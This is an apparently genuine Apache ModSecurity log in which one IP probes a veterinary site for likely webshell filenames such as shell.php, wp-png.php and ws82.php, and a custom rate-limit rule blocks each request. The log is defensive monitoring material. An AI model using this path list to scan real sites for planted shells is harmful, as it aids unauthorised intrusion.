[Thu Apr 16 00:08:21.150874 2026] [:error] [pid 23913:tid 23916] [client 168.63.72.46:24046] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/shell.php"] [unique_id "ad-39VUaK3MLdSaLOyjtnAAAAUE"]
[Thu Apr 16 00:08:22.464646 2026] [:error] [pid 37370:tid 37375] [client 168.63.72.46:17276] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/shell.php"] [unique_id "ad-39ng-gnM2Ga0cGAC0nAAAAQM"]
[Thu Apr 16 00:08:25.132515 2026] [:error] [pid 31053:tid 31056] [client 168.63.72.46:56290] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/shell.php"] [unique_id "ad-3-RcEkLCmvF0fjDdnfgAAAIA"]
[Thu Apr 16 00:08:26.320671 2026] [:error] [pid 31053:tid 31077] [client 168.63.72.46:56203] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dass.php"] [unique_id "ad-3-hcEkLCmvF0fjDdnhwAAAJU"]
[Thu Apr 16 00:08:28.400688 2026] [:error] [pid 30956:tid 30983] [client 168.63.72.46:56430] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dass.php"] [unique_id "ad-3_EBGUpjaWntNYq2tKgAAABc"]
[Thu Apr 16 00:08:29.332846 2026] [:error] [pid 37370:tid 37394] [client 168.63.72.46:17771] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dass.php"] [unique_id "ad-3_Xg-gnM2Ga0cGAC0rAAAARY"]
[Thu Apr 16 00:08:30.924656 2026] [:error] [pid 30956:tid 30965] [client 168.63.72.46:23222] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dass.php"] [unique_id "ad-3_kBGUpjaWntNYq2tMwAAAAU"]
[Thu Apr 16 00:08:32.534102 2026] [:error] [pid 31053:tid 31069] [client 168.63.72.46:17240] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aboute.php"] [unique_id "ad-4ABcEkLCmvF0fjDdnkQAAAI0"]
[Thu Apr 16 00:08:35.106596 2026] [:error] [pid 23913:tid 23933] [client 168.63.72.46:21690] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aboute.php"] [unique_id "ad-4A1UaK3MLdSaLOyjtvwAAAVI"]
[Thu Apr 16 00:08:36.098837 2026] [:error] [pid 23913:tid 23935] [client 168.63.72.46:15937] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aboute.php"] [unique_id "ad-4BFUaK3MLdSaLOyjtwwAAAVQ"]
[Thu Apr 16 00:08:36.868971 2026] [:error] [pid 31053:tid 31060] [client 168.63.72.46:4515] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aboute.php"] [unique_id "ad-4BBcEkLCmvF0fjDdnmwAAAIQ"]
[Thu Apr 16 00:08:38.670706 2026] [:error] [pid 23913:tid 23927] [client 168.63.72.46:24012] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/press.php"] [unique_id "ad-4BlUaK3MLdSaLOyjtywAAAUw"]
[Thu Apr 16 00:08:41.566199 2026] [:error] [pid 30957:tid 30993] [client 168.63.72.46:11609] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/press.php"] [unique_id "ad-4CX5gwVEVXHfVSirMKAAAAEQ"]
[Thu Apr 16 00:08:44.660058 2026] [:error] [pid 30956:tid 30973] [client 168.63.72.46:21425] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/press.php"] [unique_id "ad-4DEBGUpjaWntNYq2tUQAAAA0"]
[Thu Apr 16 00:08:48.503421 2026] [:error] [pid 23913:tid 23922] [client 168.63.72.46:33428] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/press.php"] [unique_id "ad-4EFUaK3MLdSaLOyjt0gAAAUc"]
[Thu Apr 16 00:08:49.627925 2026] [:error] [pid 31053:tid 31073] [client 168.63.72.46:11272] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-png.php"] [unique_id "ad-4ERcEkLCmvF0fjDdnrQAAAJE"]
[Thu Apr 16 00:08:50.635592 2026] [:error] [pid 30958:tid 31025] [client 168.63.72.46:17251] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-png.php"] [unique_id "ad-4EseG3wSKTO7NWFH3DwAAAMk"]
[Thu Apr 16 00:08:51.802011 2026] [:error] [pid 31053:tid 31063] [client 168.63.72.46:9635] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-png.php"] [unique_id "ad-4ExcEkLCmvF0fjDdnswAAAIc"]
[Thu Apr 16 00:08:54.741345 2026] [:error] [pid 30958:tid 31025] [client 168.63.72.46:17737] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-png.php"] [unique_id "ad-4FseG3wSKTO7NWFH3HAAAAMk"]
[Thu Apr 16 00:08:57.115096 2026] [:error] [pid 37370:tid 37372] [client 168.63.72.46:56187] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/s.php"] [unique_id "ad-4GXg-gnM2Ga0cGAC0zwAAAQA"]
[Thu Apr 16 00:08:59.391795 2026] [:error] [pid 31053:tid 31067] [client 168.63.72.46:15931] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/s.php"] [unique_id "ad-4GxcEkLCmvF0fjDdntwAAAIs"]
[Thu Apr 16 00:09:01.474667 2026] [:error] [pid 31053:tid 31070] [client 168.63.72.46:4840] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/s.php"] [unique_id "ad-4HRcEkLCmvF0fjDdnugAAAI4"]
[Thu Apr 16 00:09:04.344294 2026] [:error] [pid 30957:tid 31011] [client 168.63.72.46:22290] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/s.php"] [unique_id "ad-4IH5gwVEVXHfVSirMNgAAAFY"]
[Thu Apr 16 00:09:06.831467 2026] [:error] [pid 31053:tid 31058] [client 168.63.72.46:9618] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/first.php"] [unique_id "ad-4IhcEkLCmvF0fjDdnwwAAAII"]
[Thu Apr 16 00:09:08.049632 2026] [:error] [pid 31053:tid 31067] [client 168.63.72.46:15933] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/first.php"] [unique_id "ad-4JBcEkLCmvF0fjDdnxgAAAIs"]
[Thu Apr 16 00:09:12.231459 2026] [:error] [pid 30957:tid 31006] [client 168.63.72.46:21417] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/first.php"] [unique_id "ad-4KH5gwVEVXHfVSirMPAAAAFE"]
[Thu Apr 16 00:09:15.737044 2026] [:error] [pid 23913:tid 23917] [client 168.63.72.46:21402] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/first.php"] [unique_id "ad-4K1UaK3MLdSaLOyjt5AAAAUI"]
[Thu Apr 16 00:10:19.788029 2026] [:error] [pid 30957:tid 30990] [client 168.63.72.46:30054] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/b.php"] [unique_id "ad-4a35gwVEVXHfVSirMdQAAAEE"]
[Thu Apr 16 00:10:20.487769 2026] [:error] [pid 30957:tid 30996] [client 168.63.72.46:14426] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/b.php"] [unique_id "ad-4bH5gwVEVXHfVSirMdwAAAEc"]
[Thu Apr 16 00:10:21.886188 2026] [:error] [pid 23913:tid 23927] [client 168.63.72.46:36550] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/b.php"] [unique_id "ad-4bVUaK3MLdSaLOyju-wAAAUw"]
[Thu Apr 16 00:10:23.861955 2026] [:error] [pid 31053:tid 31070] [client 168.63.72.46:4483] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/b.php"] [unique_id "ad-4bxcEkLCmvF0fjDdpAgAAAI4"]
[Thu Apr 16 00:10:26.788408 2026] [:error] [pid 31053:tid 31079] [client 168.63.72.46:38071] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sid3.php"] [unique_id "ad-4chcEkLCmvF0fjDdpCwAAAJc"]
[Thu Apr 16 00:10:29.107323 2026] [:error] [pid 31053:tid 31069] [client 168.63.72.46:27506] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sid3.php"] [unique_id "ad-4dRcEkLCmvF0fjDdpEgAAAI0"]
[Thu Apr 16 00:10:31.509931 2026] [:error] [pid 31053:tid 31069] [client 168.63.72.46:19542] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sid3.php"] [unique_id "ad-4dxcEkLCmvF0fjDdpGgAAAI0"]
[Thu Apr 16 00:10:35.398293 2026] [:error] [pid 30956:tid 30975] [client 168.63.72.46:12871] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sid3.php"] [unique_id "ad-4e0BGUpjaWntNYq2t0wAAAA8"]
[Thu Apr 16 00:10:38.243724 2026] [:error] [pid 37370:tid 37375] [client 168.63.72.46:16652] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ccs.php"] [unique_id "ad-4fng-gnM2Ga0cGAC1bgAAAQM"]
[Thu Apr 16 00:10:39.299339 2026] [:error] [pid 37370:tid 37386] [client 168.63.72.46:18497] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ccs.php"] [unique_id "ad-4f3g-gnM2Ga0cGAC1dwAAAQ4"]
[Thu Apr 16 00:10:42.745205 2026] [:error] [pid 37370:tid 37393] [client 168.63.72.46:16390] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ccs.php"] [unique_id "ad-4gng-gnM2Ga0cGAC1ggAAARU"]
[Thu Apr 16 00:10:48.807305 2026] [:error] [pid 30957:tid 30992] [client 168.63.72.46:35463] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ccs.php"] [unique_id "ad-4iH5gwVEVXHfVSirMlwAAAEM"]
[Thu Apr 16 00:10:52.201954 2026] [:error] [pid 37370:tid 37381] [client 168.63.72.46:10871] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aboutc.php"] [unique_id "ad-4jHg-gnM2Ga0cGAC1lgAAAQk"]
[Thu Apr 16 00:10:55.998828 2026] [:error] [pid 37370:tid 37381] [client 168.63.72.46:22435] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aboutc.php"] [unique_id "ad-4j3g-gnM2Ga0cGAC1oAAAAQk"]
[Thu Apr 16 00:10:59.480825 2026] [:error] [pid 31053:tid 31060] [client 168.63.72.46:15133] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aboutc.php"] [unique_id "ad-4kxcEkLCmvF0fjDdpbwAAAIQ"]
[Thu Apr 16 00:11:01.311963 2026] [:error] [pid 30956:tid 30971] [client 168.63.72.46:21473] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aboutc.php"] [unique_id "ad-4lUBGUpjaWntNYq2t8QAAAAs"]
[Thu Apr 16 00:11:04.764059 2026] [:error] [pid 30957:tid 30997] [client 168.63.72.46:12363] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fs.php"] [unique_id "ad-4mH5gwVEVXHfVSirMsAAAAEg"]
[Thu Apr 16 00:11:06.086049 2026] [:error] [pid 31053:tid 31060] [client 168.63.72.46:15158] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fs.php"] [unique_id "ad-4mhcEkLCmvF0fjDdpggAAAIQ"]
[Thu Apr 16 00:11:10.020107 2026] [:error] [pid 30957:tid 30989] [client 168.63.72.46:18272] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fs.php"] [unique_id "ad-4nn5gwVEVXHfVSirMsgAAAEA"]
[Thu Apr 16 00:11:11.351523 2026] [:error] [pid 30958:tid 31035] [client 168.63.72.46:22406] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fs.php"] [unique_id "ad-4n8eG3wSKTO7NWFH3vgAAANM"]
[Thu Apr 16 00:11:14.646048 2026] [:error] [pid 37370:tid 37379] [client 168.63.72.46:15393] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws82.php"] [unique_id "ad-4ong-gnM2Ga0cGAC1swAAAQc"]
[Thu Apr 16 00:12:10.015348 2026] [:error] [pid 23913:tid 23932] [client 168.63.72.46:25122] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xxx.php"] [unique_id "ad-42lUaK3MLdSaLOyjvuAAAAVE"]
[Thu Apr 16 00:12:12.179306 2026] [:error] [pid 30956:tid 30963] [client 168.63.72.46:9672] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xxx.php"] [unique_id "ad-43EBGUpjaWntNYq2uJwAAAAM"]
[Thu Apr 16 00:12:14.381861 2026] [:error] [pid 30958:tid 31036] [client 168.63.72.46:9688] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xxx.php"] [unique_id "ad-43seG3wSKTO7NWFH4HgAAANQ"]
[Thu Apr 16 00:12:16.537970 2026] [:error] [pid 30958:tid 31024] [client 168.63.72.46:7565] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xxx.php"] [unique_id "ad-44MeG3wSKTO7NWFH4JwAAAMg"]
[Thu Apr 16 00:12:18.159609 2026] [:error] [pid 30957:tid 31001] [client 168.63.72.46:9923] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wen.php"] [unique_id "ad-44n5gwVEVXHfVSirNBQAAAEw"]
[Thu Apr 16 00:12:21.925665 2026] [:error] [pid 31053:tid 31072] [client 168.63.72.46:9202] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wen.php"] [unique_id "ad-45RcEkLCmvF0fjDdqnQAAAJA"]
[Thu Apr 16 00:12:23.264006 2026] [:error] [pid 31053:tid 31061] [client 168.63.72.46:19230] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wen.php"] [unique_id "ad-45xcEkLCmvF0fjDdqtAAAAIU"]
[Thu Apr 16 00:12:24.635876 2026] [:error] [pid 30958:tid 31033] [client 168.63.72.46:25880] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wen.php"] [unique_id "ad-46MeG3wSKTO7NWFH4PAAAANE"]
